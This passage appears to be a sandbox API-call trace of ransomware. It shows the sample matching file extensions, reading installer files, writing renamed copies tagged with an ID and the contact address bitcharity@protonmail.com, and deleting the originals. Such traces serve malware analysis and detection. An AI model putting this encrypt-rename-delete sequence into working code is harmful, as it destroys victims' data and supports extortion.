(lpString=".dbf") returned 4 [0136.839] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.839] lstrlenW (lpString=".1cd") returned 4 [0136.839] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.839] lstrlenW (lpString=".jpg") returned 4 [0136.840] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.840] lstrlenW (lpString=".doc") returned 4 [0136.840] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.840] lstrlenW (lpString=".docx") returned 5 [0136.840] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.840] lstrlenW (lpString=".pdf") returned 4 [0136.840] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.840] lstrlenW (lpString=".xls") returned 4 [0136.840] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.840] lstrlenW (lpString=".xlsx") returned 5 [0136.840] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.840] lstrlenW (lpString=".ppt") returned 4 [0136.840] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.840] lstrlenW (lpString=".zip") returned 4 [0136.840] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.840] lstrlenW (lpString=".rar") returned 4 [0136.840] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.840] lstrlenW (lpString=".bz2") returned 4 [0136.840] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.840] lstrlenW (lpString=".7z") returned 3 [0136.840] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.840] lstrlenW (lpString=".dbf") returned 4 [0136.840] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.840] lstrlenW (lpString=".1cd") returned 4 [0136.841] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0136.841] lstrlenW (lpString=".jpg") returned 4 [0136.841] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.841] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0136.841] lstrlenW (lpString="eula.rtf") returned 8 [0136.841] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.841] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=3859) returned 1 [0136.841] CloseHandle (hObject=0x10b4) returned 1 [0136.841] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0136.841] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.841] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.842] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.842] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.842] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0136.842] GetLastError () returned 0x0 [0136.842] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xf13, lpOverlapped=0x0) returned 1 [0136.905] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf20, lpOverlapped=0x0) returned 1 [0136.908] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.908] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.909] SetEndOfFile (hFile=0x1038) returned 1 [0136.909] CloseHandle (hObject=0x1038) returned 1 [0136.913] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.913] SetEndOfFile (hFile=0x10b4) returned 1 [0136.914] CloseHandle (hObject=0x10b4) returned 1 [0136.914] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.915] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0136.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.915] lstrlenW (lpString=".doc") returned 4 [0136.915] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.915] lstrlenW (lpString=".docx") returned 5 [0136.915] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.915] lstrlenW (lpString=".pdf") returned 4 [0136.915] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.915] lstrlenW (lpString=".xls") returned 4 [0136.915] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.915] lstrlenW (lpString=".xlsx") returned 5 [0136.915] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.915] lstrlenW (lpString=".ppt") returned 4 [0136.915] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.915] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.915] lstrlenW (lpString=".zip") returned 4 [0136.915] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.915] lstrlenW (lpString=".rar") returned 4 [0136.915] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.916] lstrlenW (lpString=".bz2") returned 4 [0136.916] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.916] lstrlenW (lpString=".7z") returned 3 [0136.916] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.916] lstrlenW (lpString=".dbf") returned 4 [0136.916] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.916] lstrlenW (lpString=".1cd") returned 4 [0136.916] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.916] lstrlenW (lpString=".jpg") returned 4 [0136.916] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.916] lstrlenW (lpString=".doc") returned 4 [0136.916] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.916] lstrlenW (lpString=".docx") returned 5 [0136.916] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.916] lstrlenW (lpString=".pdf") returned 4 [0136.916] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.916] lstrlenW (lpString=".xls") returned 4 [0136.916] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.916] lstrlenW (lpString=".xlsx") returned 5 [0136.916] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.916] lstrlenW (lpString=".ppt") returned 4 [0136.916] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.917] lstrlenW (lpString=".zip") returned 4 [0136.917] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.917] lstrlenW (lpString=".rar") returned 4 [0136.917] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.917] lstrlenW (lpString=".bz2") returned 4 [0136.917] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.917] lstrlenW (lpString=".7z") returned 3 [0136.917] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.917] lstrlenW (lpString=".dbf") returned 4 [0136.917] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.917] lstrlenW (lpString=".1cd") returned 4 [0136.917] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0136.917] lstrlenW (lpString=".jpg") returned 4 [0136.917] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.917] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0136.917] lstrlenW (lpString="LocalizedData.xml") returned 17 [0136.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.918] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=60684) returned 1 [0136.918] CloseHandle (hObject=0x10b4) returned 1 [0136.918] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0136.918] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.918] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.918] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.918] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.918] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0136.919] GetLastError () returned 0x0 [0136.919] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xed0c, lpOverlapped=0x0) returned 1 [0137.052] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xed10, lpOverlapped=0x0) returned 1 [0137.054] ReadFile (in: hFile=0x10b4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.054] WriteFile (in: hFile=0x1038, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0137.054] SetEndOfFile (hFile=0x1038) returned 1 [0137.054] CloseHandle (hObject=0x1038) returned 1 [0137.061] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.061] SetEndOfFile (hFile=0x10b4) returned 1 [0137.062] CloseHandle (hObject=0x10b4) returned 1 [0137.062] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.063] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0137.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.063] lstrlenW (lpString=".doc") returned 4 [0137.063] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.063] lstrlenW (lpString=".docx") returned 5 [0137.063] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.063] lstrlenW (lpString=".pdf") returned 4 [0137.063] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.063] lstrlenW (lpString=".xls") returned 4 [0137.063] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.064] lstrlenW (lpString=".xlsx") returned 5 [0137.064] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.064] lstrlenW (lpString=".ppt") returned 4 [0137.064] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.064] lstrlenW (lpString=".zip") returned 4 [0137.064] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.064] lstrlenW (lpString=".rar") returned 4 [0137.064] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.064] lstrlenW (lpString=".bz2") returned 4 [0137.064] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.064] lstrlenW (lpString=".7z") returned 3 [0137.064] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.064] lstrlenW (lpString=".dbf") returned 4 [0137.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.064] lstrlenW (lpString=".1cd") returned 4 [0137.064] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.064] lstrlenW (lpString=".jpg") returned 4 [0137.064] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.064] lstrlenW (lpString=".doc") returned 4 [0137.064] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.065] lstrlenW (lpString=".docx") returned 5 [0137.065] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.065] lstrlenW (lpString=".pdf") returned 4 [0137.065] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.065] lstrlenW (lpString=".xls") returned 4 [0137.065] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.065] lstrlenW (lpString=".xlsx") returned 5 [0137.065] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.065] lstrlenW (lpString=".ppt") returned 4 [0137.065] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.065] lstrlenW (lpString=".zip") returned 4 [0137.065] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.065] lstrlenW (lpString=".rar") returned 4 [0137.065] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.065] lstrlenW (lpString=".bz2") returned 4 [0137.065] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.065] lstrlenW (lpString=".7z") returned 3 [0137.065] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.065] lstrlenW (lpString=".dbf") returned 4 [0137.065] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.065] lstrlenW (lpString=".1cd") returned 4 [0137.065] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0137.065] lstrlenW (lpString=".jpg") returned 4 [0137.065] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.066] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0137.066] lstrlenW (lpString="LocalizedData.xml") returned 17 [0137.066] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0137.081] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=60816) returned 1 [0137.081] CloseHandle (hObject=0x10c4) returned 1 [0137.081] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0137.081] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0137.083] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.083] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0137.092] GetLastError () returned 0x0 [0137.092] ReadFile (in: hFile=0x10c8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xed90, lpOverlapped=0x0) returned 1 [0137.446] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xeda0, lpOverlapped=0x0) returned 1 [0137.448] ReadFile (in: hFile=0x10c8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.449] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0137.449] SetEndOfFile (hFile=0x10c0) returned 1 [0137.449] CloseHandle (hObject=0x10c0) returned 1 [0137.453] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.453] SetEndOfFile (hFile=0x10c8) returned 1 [0137.454] CloseHandle (hObject=0x10c8) returned 1 [0137.454] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.455] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0137.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.455] lstrlenW (lpString=".doc") returned 4 [0137.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.455] lstrlenW (lpString=".docx") returned 5 [0137.455] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.455] lstrlenW (lpString=".pdf") returned 4 [0137.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.455] lstrlenW (lpString=".xls") returned 4 [0137.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.455] lstrlenW (lpString=".xlsx") returned 5 [0137.455] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.455] lstrlenW (lpString=".ppt") returned 4 [0137.456] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.456] lstrlenW (lpString=".zip") returned 4 [0137.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.456] lstrlenW (lpString=".rar") returned 4 [0137.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.456] lstrlenW (lpString=".bz2") returned 4 [0137.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.456] lstrlenW (lpString=".7z") returned 3 [0137.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.456] lstrlenW (lpString=".dbf") returned 4 [0137.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.456] lstrlenW (lpString=".1cd") returned 4 [0137.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.456] lstrlenW (lpString=".jpg") returned 4 [0137.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.456] lstrlenW (lpString=".doc") returned 4 [0137.456] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.456] lstrlenW (lpString=".docx") returned 5 [0137.456] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.456] lstrlenW (lpString=".pdf") returned 4 [0137.456] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.456] lstrlenW (lpString=".xls") returned 4 [0137.457] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.457] lstrlenW (lpString=".xlsx") returned 5 [0137.457] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.457] lstrlenW (lpString=".ppt") returned 4 [0137.457] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.457] lstrlenW (lpString=".zip") returned 4 [0137.457] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.457] lstrlenW (lpString=".rar") returned 4 [0137.457] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.457] lstrlenW (lpString=".bz2") returned 4 [0137.457] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.457] lstrlenW (lpString=".7z") returned 3 [0137.457] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.457] lstrlenW (lpString=".dbf") returned 4 [0137.457] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.457] lstrlenW (lpString=".1cd") returned 4 [0137.457] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0137.457] lstrlenW (lpString=".jpg") returned 4 [0137.457] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.457] lstrcmpiW 